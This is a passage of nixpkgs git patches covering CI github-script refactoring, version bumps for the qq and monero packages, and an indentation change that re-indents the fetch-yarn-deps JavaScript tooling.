+      targetSha = (await github.rest.repos.compareCommitsWithBasehead({
+        owner: context.repo.owner,
+        repo: context.repo.repo,
+        basehead: `${prInfo.base.sha}...${prInfo.head.sha}`
+      })).data.merge_base_commit.sha
+    }
+
+    console.log(`Checking the commits:\nmerged:${mergedSha}\ntarget:${targetSha}`)
+    core.setOutput('mergedSha', mergedSha)
+    core.setOutput('targetSha', targetSha)
+    return
+  }
+  throw new Error("Not retrying anymore. It's likely that GitHub is having internal issues: check https://www.githubstatus.com.")
+}
diff --git a/ci/github-script/run b/ci/github-script/run
index 3fe6e189eb96..ae107df73b51 100755
--- a/ci/github-script/run
+++ b/ci/github-script/run
@@ -39,6 +39,17 @@ async function run(action, owner, repo, pull_number, dry = true) {
   })
 }
 
+program
+  .command('prepare')
+  .description('Prepare relevant information of a pull request.')
+  .argument('<owner>', 'Owner of the GitHub repository to check (Example: NixOS)')
+  .argument('<repo>', 'Name of the GitHub repository to check (Example: nixpkgs)')
+  .argument('<pr>', 'Number of the Pull Request to check')
+  .action(async (owner, repo, pr) => {
+    const prepare = (await import('./prepare.js')).default
+    run(prepare, owner, repo, pr)
+  })
+
 program
   .command('commits')
   .description('Check commit structure of a pull request.')

From 0fa17a8e6c6db2c6f32efa4c24a1d807573989f5 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 15:10:02 +0200
Subject: [PATCH 3666/4511] ci/github-script/prepare: run biome

This will be added to treefmt in a different commit / PR.

(cherry picked from commit f5d3e433680a6761d729926c732f85d7205a729d)
---
 ci/github-script/prepare.js | 60 ++++++++++++++++++++++---------------
 1 file changed, 36 insertions(+), 24 deletions(-)

diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index 967934bc2d7e..88201e5fdab1 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -1,46 +1,58 @@
-module.exports = async function ({ github, context, core }) {
+module.exports = async ({ github, context, core }) => {
   for (const retryInterval of [5, 10, 20, 40, 80]) {
-    console.log("Checking whether the pull request can be merged...")
-    const prInfo = (await github.rest.pulls.get({
-      owner: context.repo.owner,
-      repo: context.repo.repo,
-      pull_number: context.payload.pull_request.number
-    })).data
+    console.log('Checking whether the pull request can be merged...')
+    const prInfo = (
+      await github.rest.pulls.get({
+        owner: context.repo.owner,
+        repo: context.repo.repo,
+        pull_number: context.payload.pull_request.number,
+      })
+    ).data
 
-    if (prInfo.state != 'open') throw new Error ("PR is not open anymore.")
+    if (prInfo.state !== 'open') throw new Error('PR is not open anymore.')
 
     if (prInfo.mergeable == null) {
-      console.log(`GitHub is still computing whether this PR can be merged, waiting ${retryInterval} seconds before trying again...`)
-      await new Promise(resolve => setTimeout(resolve, retryInterval * 1000))
+      console.log(
+        `GitHub is still computing whether this PR can be merged, waiting ${retryInterval} seconds before trying again...`,
+      )
+      await new Promise((resolve) => setTimeout(resolve, retryInterval * 1000))
       continue
     }
 
     let mergedSha, targetSha
 
     if (prInfo.mergeable) {
-      console.log("The PR can be merged.")
+      console.log('The PR can be merged.')
 
       mergedSha = prInfo.merge_commit_sha
-      targetSha = (await github.rest.repos.getCommit({
-        owner: context.repo.owner,
-        repo: context.repo.repo,
-        ref: prInfo.merge_commit_sha
-      })).data.parents[0].sha
+      targetSha = (
+        await github.rest.repos.getCommit({
+          owner: context.repo.owner,
+          repo: context.repo.repo,
+          ref: prInfo.merge_commit_sha,
+        })
+      ).data.parents[0].sha
     } else {
-      console.log("The PR has a merge conflict.")
+      console.log('The PR has a merge conflict.')
 
       mergedSha = prInfo.head.sha
-      targetSha = (await github.rest.repos.compareCommitsWithBasehead({
-        owner: context.repo.owner,
-        repo: context.repo.repo,
-        basehead: `${prInfo.base.sha}...${prInfo.head.sha}`
-      })).data.merge_base_commit.sha
+      targetSha = (
+        await github.rest.repos.compareCommitsWithBasehead({
+          owner: context.repo.owner,
+          repo: context.repo.repo,
+          basehead: `${prInfo.base.sha}...${prInfo.head.sha}`,
+        })
+      ).data.merge_base_commit.sha
     }
 
-    console.log(`Checking the commits:\nmerged:${mergedSha}\ntarget:${targetSha}`)
+    console.log(
+      `Checking the commits:\nmerged:${mergedSha}\ntarget:${targetSha}`,
+    )
     core.setOutput('mergedSha', mergedSha)
     core.setOutput('targetSha', targetSha)
     return
   }
-  throw new Error("Not retrying anymore. It's likely that GitHub is having internal issues: check https://www.githubstatus.com.")
+  throw new Error(
+    "Not retrying anymore. It's likely that GitHub is having internal issues: check https://www.githubstatus.com.",
+  )
 }

From 64d1d69b9f25fb7cbe9e20779e39ba8f5f33e4da Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 16 Aug 2025 14:27:07 +0200
Subject: [PATCH 3667/4511] ci/github-script/prepare: refactor

Using core.info instead of console.log and simplifying the arguments for
API calls a bit.

(cherry picked from commit a8cb53611b734a491dc1a9e620ee182ece12c5de)
---
 ci/github-script/prepare.js | 27 +++++++++++++--------------
 1 file changed, 13 insertions(+), 14 deletions(-)

diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index 88201e5fdab1..60225db0635e 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -1,18 +1,19 @@
-module.exports = async ({ github, context, core }) => {
+module.exports = async function ({ github, context, core }) {
+  const pull_number = context.payload.pull_request.number
+
   for (const retryInterval of [5, 10, 20, 40, 80]) {
-    console.log('Checking whether the pull request can be merged...')
+    core.info('Checking whether the pull request can be merged...')
     const prInfo = (
       await github.rest.pulls.get({
-        owner: context.repo.owner,
-        repo: context.repo.repo,
-        pull_number: context.payload.pull_request.number,
+        ...context.repo,
+        pull_number,
       })
     ).data
 
     if (prInfo.state !== 'open') throw new Error('PR is not open anymore.')
 
     if (prInfo.mergeable == null) {
-      console.log(
+      core.info(
         `GitHub is still computing whether this PR can be merged, waiting ${retryInterval} seconds before trying again...`,
       )
       await new Promise((resolve) => setTimeout(resolve, retryInterval * 1000))
@@ -22,31 +23,29 @@ module.exports = async ({ github, context, core }) => {
     let mergedSha, targetSha
 
     if (prInfo.mergeable) {
-      console.log('The PR can be merged.')
+      core.info('The PR can be merged.')
 
       mergedSha = prInfo.merge_commit_sha
       targetSha = (
         await github.rest.repos.getCommit({
-          owner: context.repo.owner,
-          repo: context.repo.repo,
+          ...context.repo,
           ref: prInfo.merge_commit_sha,
         })
       ).data.parents[0].sha
     } else {
-      console.log('The PR has a merge conflict.')
+      core.warning('The PR has a merge conflict.')
 
       mergedSha = prInfo.head.sha
       targetSha = (
         await github.rest.repos.compareCommitsWithBasehead({
-          owner: context.repo.owner,
-          repo: context.repo.repo,
+          ...context.repo,
           basehead: `${prInfo.base.sha}...${prInfo.head.sha}`,
         })
       ).data.merge_base_commit.sha
     }
 
-    console.log(
-      `Checking the commits:\nmerged:${mergedSha}\ntarget:${targetSha}`,
+    core.info(
+      `Checking the commits:\nmerged: ${mergedSha}\ntarget: ${targetSha}`,
     )
     core.setOutput('mergedSha', mergedSha)
     core.setOutput('targetSha', targetSha)

From f86d2fafa7bbe6b4a24ae7400fedf46b96c64c10 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 20 Aug 2025 13:43:07 +0000
Subject: [PATCH 3668/4511] qq: 3.2.18-2025-07-24 -> 3.2.19-2025-08-20

(cherry picked from commit 932fc0a72126ba6977689584d4b2bd33456f3de0)
---
 pkgs/by-name/qq/qq/sources.nix | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/qq/qq/sources.nix b/pkgs/by-name/qq/qq/sources.nix
index 63dfbf6ca5e6..91b907f615c0 100644
--- a/pkgs/by-name/qq/qq/sources.nix
+++ b/pkgs/by-name/qq/qq/sources.nix
@@ -1,12 +1,12 @@
 # Generated by ./update.sh - do not update manually!
-# Last updated: 2025-07-25
+# Last updated: 2025-08-20
 { fetchurl }:
 let
   any-darwin = {
-    version = "6.9.77-2025-07-24";
+    version = "6.9.79-2025-08-20";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Mac/QQ_6.9.77_250724_01.dmg";
-      hash = "sha256-ZHpFH5PPDaVtbEZsb+1fyoscWuPYedTrIaoqhnsXRlc=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Mac/QQ_6.9.79_250820_01.dmg";
+      hash = "sha256-m8COj+kn9ify4D4FUpNXL31uO4j4DKqCQhZnoo5umTE=";
     };
   };
 in
@@ -14,17 +14,17 @@ in
   aarch64-darwin = any-darwin;
   x86_64-darwin = any-darwin;
   aarch64-linux = {
-    version = "3.2.18-2025-07-24";
+    version = "3.2.19-2025-08-20";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250724_arm64_01.deb";
-      hash = "sha256-j+ouSBfryrRXQbyC4ZDyrKPLqJVw67tGjlHdKel5Br4=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.19_250820_arm64_01.deb";
+      hash = "sha256-rHgN0T9lcoAucwR3B2U8so/dAUfB92dQYc0TncTHPaM=";
     };
   };
   x86_64-linux = {
-    version = "3.2.18-2025-07-24";
+    version = "3.2.19-2025-08-20";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250724_amd64_01.deb";
-      hash = "sha256-HHFUXAv6oWsipBYECLNFJG8OMQ7fxjruA210w/oFFok=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.19_250820_amd64_01.deb";
+      hash = "sha256-4Y0GSWwFkqYX5ezE2Jk/tZIwsBHg88ZxJghzB+kXTds=";
     };
   };
 }

From 31e468da7f9e5b98b585879a166b5cfe17de1a4b Mon Sep 17 00:00:00 2001
From: rnhmjoj <rnhmjoj@inventati.org>
Date: Wed, 20 Aug 2025 09:46:36 +0200
Subject: [PATCH 3669/4511] monero-{cli,gui}: 0.18.4.0 -> 0.18.4.1

(cherry picked from commit 3a36b038bc8b7290f3886417e4dd1b4138931e71)
---
 pkgs/by-name/mo/monero-cli/package.nix | 4 ++--
 pkgs/by-name/mo/monero-gui/package.nix | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/mo/monero-cli/package.nix b/pkgs/by-name/mo/monero-cli/package.nix
index 5207b19a90da..81f73b14b431 100644
--- a/pkgs/by-name/mo/monero-cli/package.nix
+++ b/pkgs/by-name/mo/monero-cli/package.nix
@@ -40,13 +40,13 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "monero-cli";
-  version = "0.18.4.0";
+  version = "0.18.4.1";
 
   src = fetchFromGitHub {
     owner = "monero-project";
     repo = "monero";
     rev = "v${version}";
-    hash = "sha256-0byMtX2f+8FqNhLPN1oLxIUTWg5RSbHfwiL8pUIAcgQ=";
+    hash = "sha256-z5yhU1xePFBSmfl0X8x7AAgPvqUX0PQzLzxMblS8Um8=";
   };
 
   patches = [
diff --git a/pkgs/by-name/mo/monero-gui/package.nix b/pkgs/by-name/mo/monero-gui/package.nix
index 6084d60b96b1..9f6ed89018ee 100644
--- a/pkgs/by-name/mo/monero-gui/package.nix
+++ b/pkgs/by-name/mo/monero-gui/package.nix
@@ -28,13 +28,13 @@
 
 stdenv.mkDerivation rec {
   pname = "monero-gui";
-  version = "0.18.4.0";
+  version = "0.18.4.1";
 
   src = fetchFromGitHub {
     owner = "monero-project";
     repo = "monero-gui";
     rev = "v${version}";
-    hash = "sha256-JwYx5TjGp3VPPSgjN0+w1A4RoZGm7A73Gpg44fre1/c=";
+    hash = "sha256-Fm/kV31aKcjQjMO8vwjfDQsH8Qq8pRdFX3zbZdEGETg=";
   };
 
   nativeBuildInputs = [

From 7511af4fc54e5dbb9440276fc12449d47fd893aa Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 21 Jun 2025 21:29:50 +0200
Subject: [PATCH 3670/4511] .editorconfig: two spaces for .js files

Most other scripting languages we use in tree have the same.

(cherry picked from commit 3d4c1c0d26831da8417babd8026a3c0b353fe598)
---
 .editorconfig                                 |   4 +-
 ci/.editorconfig                              |   4 -
 .../node/fetch-yarn-deps/common.js            |  20 +-
 .../node/fetch-yarn-deps/fixup.js             | 108 +++----
 .../node/fetch-yarn-deps/index.js             | 302 +++++++++---------
 5 files changed, 217 insertions(+), 221 deletions(-)
 delete mode 100644 ci/.editorconfig

diff --git a/.editorconfig b/.editorconfig
index 020db105c04a..de4715d5c902 100644
--- a/.editorconfig
+++ b/.editorconfig
@@ -24,7 +24,7 @@ insert_final_newline = false
 # see https://nixos.org/nixpkgs/manual/#chap-conventions
 
 # Match json/lockfiles/markdown/nix/perl/python/ruby/shell/docbook files, set indent to spaces
-[*.{bash,json,lock,md,nix,pl,pm,py,rb,sh,xml}]
+[*.{bash,js,json,lock,md,nix,pl,pm,py,rb,sh,xml}]
 indent_style = space
 
 # Match docbook files, set indent width of one
@@ -32,7 +32,7 @@ indent_style = space
 indent_size = 1
 
 # Match json/lockfiles/markdown/nix/ruby files, set indent width of two
-[*.{json,lock,md,nix,rb}]
+[*.{js,json,lock,md,nix,rb}]
 indent_size = 2
 
 # Match all the Bash code in Nix files, set indent width of two
diff --git a/ci/.editorconfig b/ci/.editorconfig
deleted file mode 100644
index 180d0765eed9..000000000000
--- a/ci/.editorconfig
+++ /dev/null
@@ -1,4 +0,0 @@
-# TODO: Move to top-level via staging PR
-[*.js]
-indent_style = space
-indent_size = 2
diff --git a/pkgs/build-support/node/fetch-yarn-deps/common.js b/pkgs/build-support/node/fetch-yarn-deps/common.js
index 95dab609a855..7f56ec26f491 100644
--- a/pkgs/build-support/node/fetch-yarn-deps/common.js
+++ b/pkgs/build-support/node/fetch-yarn-deps/common.js
@@ -3,17 +3,17 @@ const path = require('path')
 // This has to match the logic in pkgs/development/tools/yarn2nix-moretea/yarn2nix/lib/urlToName.js
 // so that fixup_yarn_lock produces the same paths
 const urlToName = url => {
-	const isCodeloadGitTarballUrl = url.startsWith('https://codeload.github.com/') && url.includes('/tar.gz/')
+  const isCodeloadGitTarballUrl = url.startsWith('https://codeload.github.com/') && url.includes('/tar.gz/')
 
-	if (url.startsWith('file:')) {
-		return url
-	} else if (url.startsWith('git+') || isCodeloadGitTarballUrl) {
-		return path.basename(url)
-	} else {
-		return url
-			.replace(/https:\/\/(.)*(.com)\//g, '') // prevents having long directory names
-			.replace(/[@/%:-]/g, '_') // replace @ and : and - and % characters with underscore
-	}
+  if (url.startsWith('file:')) {
+    return url
+  } else if (url.startsWith('git+') || isCodeloadGitTarballUrl) {
+    return path.basename(url)
+  } else {
+    return url
+      .replace(/https:\/\/(.)*(.com)\//g, '') // prevents having long directory names
+      .replace(/[@/%:-]/g, '_') // replace @ and : and - and % characters with underscore
+  }
 }
 
 module.exports = { urlToName };
diff --git a/pkgs/build-support/node/fetch-yarn-deps/fixup.js b/pkgs/build-support/node/fetch-yarn-deps/fixup.js
index 0b87393b1fff..b9c8c90b6169 100755
--- a/pkgs/build-support/node/fetch-yarn-deps/fixup.js
+++ b/pkgs/build-support/node/fetch-yarn-deps/fixup.js
@@ -7,79 +7,79 @@ const lockfile = require('./yarnpkg-lockfile.js')
 const { urlToName } = require('./common.js')
 
 const fixupYarnLock = async (lockContents, verbose) => {
-	const lockData = lockfile.parse(lockContents)
+  const lockData = lockfile.parse(lockContents)
 
-	const fixedData = Object.fromEntries(
-		Object.entries(lockData.object)
-		.map(([dep, pkg]) => {
-			if (pkg.resolved === undefined) {
-				console.warn(`no resolved URL for package ${dep}`)
-				var maybeFile = dep.split("@", 2)[1]
-				if (maybeFile.startsWith("file:")) {
-					console.log(`Rewriting URL for local file dependency ${dep}`)
-					pkg.resolved = maybeFile
-				}
-				return [dep, pkg]
-			}
-			const [ url, hash ] = pkg.resolved.split("#", 2)
+  const fixedData = Object.fromEntries(
+    Object.entries(lockData.object)
+    .map(([dep, pkg]) => {
+      if (pkg.resolved === undefined) {
+        console.warn(`no resolved URL for package ${dep}`)
+        var maybeFile = dep.split("@", 2)[1]
+        if (maybeFile.startsWith("file:")) {
+          console.log(`Rewriting URL for local file dependency ${dep}`)
+          pkg.resolved = maybeFile
+        }
+        return [dep, pkg]
+      }
+      const [ url, hash ] = pkg.resolved.split("#", 2)
 
-			if (hash || url.startsWith("https://codeload.github.com/")) {
-				if (verbose) console.log(`Removing integrity for git dependency ${dep}`)
-				delete pkg.integrity
-			}
+      if (hash || url.startsWith("https://codeload.github.com/")) {
+        if (verbose) console.log(`Removing integrity for git dependency ${dep}`)
+        delete pkg.integrity
+      }
 
-			if (verbose) console.log(`Rewriting URL ${url} for dependency ${dep}`)
-			pkg.resolved = urlToName(url)
-			if (hash)
-				pkg.resolved += `#${hash}`
+      if (verbose) console.log(`Rewriting URL ${url} for dependency ${dep}`)
+      pkg.resolved = urlToName(url)
+      if (hash)
+        pkg.resolved += `#${hash}`
 
-			return [dep, pkg]
-		})
-	)
+      return [dep, pkg]
+    })
+  )
 
-	if (verbose) console.log('Done')
+  if (verbose) console.log('Done')
 
-	return fixedData
+  return fixedData
 }
 
 const showUsage = async () => {
-	process.stderr.write(`
+  process.stderr.write(`
 syntax: fixup-yarn-lock [path to yarn.lock] [options]
 
 Options:
   -h --help         Show this help
   -v --verbose      Verbose output
 `)
-	process.exit(1)
+  process.exit(1)
 }
 
 const main = async () => {
-	const args = process.argv.slice(2)
-	let next, lockFile, verbose
-	while (next = args.shift()) {
-		if (next == '--verbose' || next == '-v') {
-			verbose = true
-		} else if (next == '--help' || next == '-h') {
-			showUsage()
-		} else if (!lockFile) {
-			lockFile = next
-		} else {
-			showUsage()
-		}
-	}
-	let lockContents
-	try {
-		lockContents = await fs.promises.readFile(lockFile || 'yarn.lock', 'utf-8')
-	} catch {
-		showUsage()
-	}
+  const args = process.argv.slice(2)
+  let next, lockFile, verbose
+  while (next = args.shift()) {
+    if (next == '--verbose' || next == '-v') {
+      verbose = true
+    } else if (next == '--help' || next == '-h') {
+      showUsage()
+    } else if (!lockFile) {
+      lockFile = next
+    } else {
+      showUsage()
+    }
+  }
+  let lockContents
+  try {
+    lockContents = await fs.promises.readFile(lockFile || 'yarn.lock', 'utf-8')
+  } catch {
+    showUsage()
+  }
 
-	const fixedData = await fixupYarnLock(lockContents, verbose)
-	await fs.promises.writeFile(lockFile || 'yarn.lock', lockfile.stringify(fixedData))
+  const fixedData = await fixupYarnLock(lockContents, verbose)
+  await fs.promises.writeFile(lockFile || 'yarn.lock', lockfile.stringify(fixedData))
 }
 
 main()
-	.catch(e => {
-		console.error(e)
-		process.exit(1)
-	})
+  .catch(e => {
+    console.error(e)
+    process.exit(1)
+  })
diff --git a/pkgs/build-support/node/fetch-yarn-deps/index.js b/pkgs/build-support/node/fetch-yarn-deps/index.js
index c961365becf1..ea2f4a73ca12 100755
--- a/pkgs/build-support/node/fetch-yarn-deps/index.js
+++ b/pkgs/build-support/node/fetch-yarn-deps/index.js
@@ -15,155 +15,155 @@ const { urlToName } = require('./common.js')
 const execFile = promisify(child_process.execFile)
 
 const exec = async (...args) => {
-	const res = await execFile(...args)
-	if (res.error) throw new Error(res.stderr)
-	return res
+  const res = await execFile(...args)
+  if (res.error) throw new Error(res.stderr)
+  return res
 }
 
 const downloadFileHttps = (fileName, url, expectedHash, hashType = 'sha1') => {
-	return new Promise((resolve, reject) => {
-		const get = (url, redirects = 0) => https.get(url, (res) => {
-			if(redirects > 10) {
-				reject('Too many redirects!');
-				return;
-			}
-			if(res.statusCode === 301 || res.statusCode === 302) {
-				return get(res.headers.location, redirects + 1)
-			}
-			const file = fs.createWriteStream(fileName)
-			const hash = crypto.createHash(hashType)
-			res.pipe(file)
-			res.pipe(hash).setEncoding('hex')
-			res.on('end', () => {
-				file.close()
-				const h = hash.read()
-				if (expectedHash === undefined){
-					console.log(`Warning: lockfile url ${url} doesn't end in "#<hash>" to validate against. Downloaded file had hash ${h}.`);
-				} else if (h != expectedHash) return reject(new Error(`hash mismatch, expected ${expectedHash}, got ${h} for ${url}`))
-				resolve()
-			})
-			res.on('error', e => reject(e))
-		})
-		get(url)
-	})
+  return new Promise((resolve, reject) => {
+    const get = (url, redirects = 0) => https.get(url, (res) => {
+      if(redirects > 10) {
+        reject('Too many redirects!');
+        return;
+      }
+      if(res.statusCode === 301 || res.statusCode === 302) {
+        return get(res.headers.location, redirects + 1)
+      }
+      const file = fs.createWriteStream(fileName)
+      const hash = crypto.createHash(hashType)
+      res.pipe(file)
+      res.pipe(hash).setEncoding('hex')
+      res.on('end', () => {
+        file.close()
+        const h = hash.read()
+        if (expectedHash === undefined){
+          console.log(`Warning: lockfile url ${url} doesn't end in "#<hash>" to validate against. Downloaded file had hash ${h}.`);
+        } else if (h != expectedHash) return reject(new Error(`hash mismatch, expected ${expectedHash}, got ${h} for ${url}`))
+        resolve()
+      })
+      res.on('error', e => reject(e))
+    })
+    get(url)
+  })
 }
 
 const downloadGit = async (fileName, url, rev) => {
-	await exec('nix-prefetch-git', [
-		'--out', fileName + '.tmp',
-		'--url', url,
-		'--rev', rev,
-		'--builder'
-	])
+  await exec('nix-prefetch-git', [
+    '--out', fileName + '.tmp',
+    '--url', url,
+    '--rev', rev,
+    '--builder'
+  ])
 
-	await exec('tar', [
-		// hopefully make it reproducible across runs and systems
-		'--owner=0', '--group=0', '--numeric-owner', '--format=gnu', '--sort=name', '--mtime=@1',
+  await exec('tar', [
+    // hopefully make it reproducible across runs and systems
+    '--owner=0', '--group=0', '--numeric-owner', '--format=gnu', '--sort=name', '--mtime=@1',
 
-		// Set u+w because tar-fs can't unpack archives with read-only dirs: https://github.com/mafintosh/tar-fs/issues/79
-		'--mode', 'u+w',
+    // Set u+w because tar-fs can't unpack archives with read-only dirs: https://github.com/mafintosh/tar-fs/issues/79
+    '--mode', 'u+w',
 
-		'-C', fileName + '.tmp',
-		'-cf', fileName, '.'
-	])
+    '-C', fileName + '.tmp',
+    '-cf', fileName, '.'
+  ])
 
-	await exec('rm', [ '-rf', fileName + '.tmp', ])
+  await exec('rm', [ '-rf', fileName + '.tmp', ])
 }
 
 const isGitUrl = pattern => {
-	// https://github.com/yarnpkg/yarn/blob/3119382885ea373d3c13d6a846de743eca8c914b/src/resolvers/exotics/git-resolver.js#L15-L47
-	const GIT_HOSTS = ['github.com', 'gitlab.com', 'bitbucket.com', 'bitbucket.org']
-	const GIT_PATTERN_MATCHERS = [/^git:/, /^git\+.+:/, /^ssh:/, /^https?:.+\.git$/, /^https?:.+\.git#.+/]
+  // https://github.com/yarnpkg/yarn/blob/3119382885ea373d3c13d6a846de743eca8c914b/src/resolvers/exotics/git-resolver.js#L15-L47
+  const GIT_HOSTS = ['github.com', 'gitlab.com', 'bitbucket.com', 'bitbucket.org']
+  const GIT_PATTERN_MATCHERS = [/^git:/, /^git\+.+:/, /^ssh:/, /^https?:.+\.git$/, /^https?:.+\.git#.+/]
 
-	for (const matcher of GIT_PATTERN_MATCHERS) if (matcher.test(pattern)) return true
+  for (const matcher of GIT_PATTERN_MATCHERS) if (matcher.test(pattern)) return true
 
-	const {hostname, path} = url.parse(pattern)
-	if (hostname && path && GIT_HOSTS.indexOf(hostname) >= 0
-		// only if dependency is pointing to a git repo,
-		// e.g. facebook/flow and not file in a git repo facebook/flow/archive/v1.0.0.tar.gz
-		&& path.split('/').filter(p => !!p).length === 2
-	) return true
+  const {hostname, path} = url.parse(pattern)
+  if (hostname && path && GIT_HOSTS.indexOf(hostname) >= 0
+    // only if dependency is pointing to a git repo,
+    // e.g. facebook/flow and not file in a git repo facebook/flow/archive/v1.0.0.tar.gz
+    && path.split('/').filter(p => !!p).length === 2
+  ) return true
 
-	return false
+  return false
 }
 
 const downloadPkg = (pkg, verbose) => {
-	for (let marker of ['@file:', '@link:']) {
-		const split = pkg.key.split(marker)
-		if (split.length == 2) {
-			console.info(`ignoring lockfile entry "${split[0]}" which points at path "${split[1]}"`)
-			return
-		} else if (split.length > 2) {
-			throw new Error(`The lockfile entry key "${pkg.key}" contains "${marker}" more than once. Processing is not implemented.`)
-		}
-	}
+  for (let marker of ['@file:', '@link:']) {
+    const split = pkg.key.split(marker)
+    if (split.length == 2) {
+      console.info(`ignoring lockfile entry "${split[0]}" which points at path "${split[1]}"`)
+      return
+    } else if (split.length > 2) {
+      throw new Error(`The lockfile entry key "${pkg.key}" contains "${marker}" more than once. Processing is not implemented.`)
+    }
+  }
 
-	if (pkg.resolved === undefined) {
-		throw new Error(`The lockfile entry with key "${pkg.key}" cannot be downloaded because it is missing the "resolved" attribute, which should contain the URL to download from. The lockfile might be invalid.`)
-	}
+  if (pkg.resolved === undefined) {
+    throw new Error(`The lockfile entry with key "${pkg.key}" cannot be downloaded because it is missing the "resolved" attribute, which should contain the URL to download from. The lockfile might be invalid.`)
+  }
 
-	const [ url, hash ] = pkg.resolved.split('#')
-	if (verbose) console.log('downloading ' + url)
-	const fileName = urlToName(url)
-	const s = url.split('/')
-	if (url.startsWith('https://codeload.github.com/') && url.includes('/tar.gz/')) {
-		return downloadGit(fileName, `https://github.com/${s[3]}/${s[4]}.git`, s[s.length-1])
-	} else if (url.startsWith('https://github.com/') && url.endsWith('.tar.gz') &&
-		(
-			s.length <= 5 ||    // https://github.com/owner/repo.tgz#feedface...
-			s[5] == "archive"   // https://github.com/owner/repo/archive/refs/tags/v0.220.1.tar.gz
-		)) {
-		return downloadGit(fileName, `https://github.com/${s[3]}/${s[4]}.git`, s[s.length-1].replace(/.tar.gz$/, ''))
-	} else if (isGitUrl(url)) {
-		return downloadGit(fileName, url.replace(/^git\+/, ''), hash)
-	} else if (url.startsWith('https://')) {
-		if (typeof pkg.integrity === 'string' || pkg.integrity instanceof String) {
-			const [ type, checksum ] = pkg.integrity.split('-')
-			return downloadFileHttps(fileName, url, Buffer.from(checksum, 'base64').toString('hex'), type)
-		}
-		return downloadFileHttps(fileName, url, hash)
-	} else if (url.startsWith('file:')) {
-		console.warn(`ignoring unsupported file:path url "${url}"`)
-	} else {
-		throw new Error('don\'t know how to download "' + url + '"')
-	}
+  const [ url, hash ] = pkg.resolved.split('#')
+  if (verbose) console.log('downloading ' + url)
+  const fileName = urlToName(url)
+  const s = url.split('/')
+  if (url.startsWith('https://codeload.github.com/') && url.includes('/tar.gz/')) {
+    return downloadGit(fileName, `https://github.com/${s[3]}/${s[4]}.git`, s[s.length-1])
+  } else if (url.startsWith('https://github.com/') && url.endsWith('.tar.gz') &&
+    (
+      s.length <= 5 ||    // https://github.com/owner/repo.tgz#feedface...
+      s[5] == "archive"   // https://github.com/owner/repo/archive/refs/tags/v0.220.1.tar.gz
+    )) {
+    return downloadGit(fileName, `https://github.com/${s[3]}/${s[4]}.git`, s[s.length-1].replace(/.tar.gz$/, ''))
+  } else if (isGitUrl(url)) {
+    return downloadGit(fileName, url.replace(/^git\+/, ''), hash)
+  } else if (url.startsWith('https://')) {
+    if (typeof pkg.integrity === 'string' || pkg.integrity instanceof String) {
+      const [ type, checksum ] = pkg.integrity.split('-')
+      return downloadFileHttps(fileName, url, Buffer.from(checksum, 'base64').toString('hex'), type)
+    }
+    return downloadFileHttps(fileName, url, hash)
+  } else if (url.startsWith('file:')) {
+    console.warn(`ignoring unsupported file:path url "${url}"`)
+  } else {
+    throw new Error('don\'t know how to download "' + url + '"')
+  }
 }
 
 const performParallel = tasks => {
-	const worker = async () => {
-		while (tasks.length > 0) await tasks.shift()()
-	}
+  const worker = async () => {
+    while (tasks.length > 0) await tasks.shift()()
+  }
 
-	const workers = []
-	for (let i = 0; i < 4; i++) {
-		workers.push(worker())
-	}
+  const workers = []
+  for (let i = 0; i < 4; i++) {
+    workers.push(worker())
+  }
 
-	return Promise.all(workers)
+  return Promise.all(workers)
 }
 
 // This could be implemented using [`Map.groupBy`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/groupBy),
 // but that method is only supported starting with Node 21
 const uniqueBy = (arr, callback) => {
-	const map = new Map()
-	for (const elem of arr) {
-		map.set(callback(elem), elem)
-	}
-	return [...map.values()]
+  const map = new Map()
+  for (const elem of arr) {
+    map.set(callback(elem), elem)
+  }
+  return [...map.values()]
 }
 
 const prefetchYarnDeps = async (lockContents, verbose) => {
-	const lockData = lockfile.parse(lockContents)
-	await performParallel(
-		uniqueBy(Object.entries(lockData.object), ([_, value]) => value.resolved)
-		.map(([key, value]) => () => downloadPkg({ key, ...value }, verbose))
-	)
-	await fs.promises.writeFile('yarn.lock', lockContents)
-	if (verbose) console.log('Done')
+  const lockData = lockfile.parse(lockContents)
+  await performParallel(
+    uniqueBy(Object.entries(lockData.object), ([_, value]) => value.resolved)
+    .map(([key, value]) => () => downloadPkg({ key, ...value }, verbose))
+  )
+  await fs.promises.writeFile('yarn.lock', lockContents)
+  if (verbose) console.log('Done')
 }
 
 const showUsage = async () => {
-	process.stderr.write(`
+  process.stderr.write(`
 syntax: prefetch-yarn-deps [path to yarn.lock] [options]
 
 Options:
@@ -171,50 +171,50 @@ Options:
   -v --verbose      Verbose output
   --builder         Only perform the download to current directory, then exit
 `)
-	process.exit(1)
+  process.exit(1)
 }
 
 const main = async () => {
-	const args = process.argv.slice(2)
-	let next, lockFile, verbose, isBuilder
-	while (next = args.shift()) {
-		if (next == '--builder') {
-			isBuilder = true
-		} else if (next == '--verbose' || next == '-v') {
-			verbose = true
-		} else if (next == '--help' || next == '-h') {
-			showUsage()
-		} else if (!lockFile) {
-			lockFile = next
-		} else {
-			showUsage()
-		}
-	}
-	let lockContents
-	try {
